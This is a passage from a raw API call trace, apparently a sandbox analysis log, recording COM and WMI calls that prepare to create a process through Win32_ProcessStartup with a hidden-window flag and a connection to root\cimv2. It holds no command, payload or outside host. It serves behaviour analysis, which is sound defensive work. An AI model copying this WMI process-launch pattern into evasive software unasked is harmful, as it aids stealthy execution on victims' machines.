riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d3080) returned 0x0 [0121.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3080, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0121.811] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3080, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4af160) returned 0x0 [0121.811] WbemDefPath:IUnknown:Release (This=0x1b4d3080) returned 0x0 [0121.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4af160) returned 0x0 [0121.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0121.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0121.811] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0121.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0121.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0121.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d3100) returned 0x0 [0121.811] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3100, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.812] WbemDefPath:IUnknown:Release (This=0x1b4d3100) returned 0x3 [0121.812] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0121.812] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0121.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0121.812] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0121.812] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0121.812] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0121.812] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0121.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4af160) returned 0x0 [0121.812] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0121.812] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0121.812] WbemDefPath:IWbemPath:SetText (This=0x1b4af160, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0121.812] IWbemClassObject:Get (in: This=0x1b4da5b0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe070*=0, plFlavor=0x27fe074*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe070*=19, plFlavor=0x27fe074*=0) returned 0x0 [0121.813] IWbemClassObject:Get (in: This=0x1b4da5b0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe070*=19, plFlavor=0x27fe074*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe070*=19, plFlavor=0x27fe074*=0) returned 0x0 [0121.813] IWbemClassObject:Put (This=0x1b4da5b0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0121.813] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0121.813] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0121.813] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0121.813] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.813] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0121.813] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0121.813] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0121.813] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.814] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d3220) returned 0x0 [0121.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3220, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0121.814] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3220, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4aefe0) returned 0x0 [0121.814] WbemDefPath:IUnknown:Release (This=0x1b4d3220) returned 0x0 [0121.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4aefe0) returned 0x0 [0121.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0121.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0121.814] WbemDefPath:IUnknown:AddRef (This=0x1b4aefe0) returned 0x3 [0121.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0121.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0121.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d3260) returned 0x0 [0121.815] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3260, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.815] WbemDefPath:IUnknown:Release (This=0x1b4d3260) returned 0x3 [0121.815] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0121.815] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0121.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0121.815] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x2 [0121.815] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x1 [0121.815] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0121.815] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0121.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4aefe0) returned 0x0 [0121.815] WbemDefPath:IUnknown:AddRef (This=0x1b4aefe0) returned 0x3 [0121.815] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x2 [0121.815] WbemDefPath:IWbemPath:SetText (This=0x1b4aefe0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0121.815] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0121.815] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0121.815] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.815] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0121.816] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0121.816] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0121.816] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.816] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d1780) returned 0x0 [0121.816] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1780, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0121.816] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d1780, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d19c0) returned 0x0 [0121.816] WbemLocator:IUnknown:Release (This=0x1b4d1780) returned 0x0 [0121.816] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d19c0) returned 0x0 [0121.816] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0121.816] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0121.817] WbemLocator:IUnknown:AddRef (This=0x1b4d19c0) returned 0x3 [0121.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0121.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0121.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0121.817] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0121.817] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0121.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0121.817] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x2 [0121.817] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x1 [0121.817] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0121.817] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0121.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d19c0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d19c0) returned 0x0 [0121.817] WbemLocator:IUnknown:AddRef (This=0x1b4d19c0) returned 0x3 [0121.817] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x2 [0121.817] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0121.817] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0121.817] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.817] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d1da0) returned 0x0 [0121.818] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d1da0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4cfc70) returned 0x0 [0121.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfc70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b5101b0) returned 0x0 [0121.839] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b5101b0, pProxy=0x1b4cfc70, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0121.839] WbemLocator:IUnknown:Release (This=0x1b5101b0) returned 0x1 [0121.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfc70, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b5101f8) returned 0x0 [0121.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfc70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b5101b0) returned 0x0 [0121.840] WbemLocator:IClientSecurity:SetBlanket (This=0x1b5101b0, pProxy=0x1b4cfc70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0121.840] WbemLocator:IUnknown:Release (This=0x1b5101b0) returned 0x2 [0121.840] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x1 [0121.840] CoTaskMemFree (pv=0x1b461d00) [0121.840] WbemLocator:IUnknown:Release (This=0x1b4d1da0) returned 0x0 [0121.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfc70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b5101f8) returned 0x0 [0121.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0121.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0121.909] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfc70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0121.924] WbemLocator:IUnknown:AddRef (This=0x1b5101f8) returned 0x3 [0121.924] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0121.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0121.925] WbemLocator:IUnknown:QueryInterface (in: 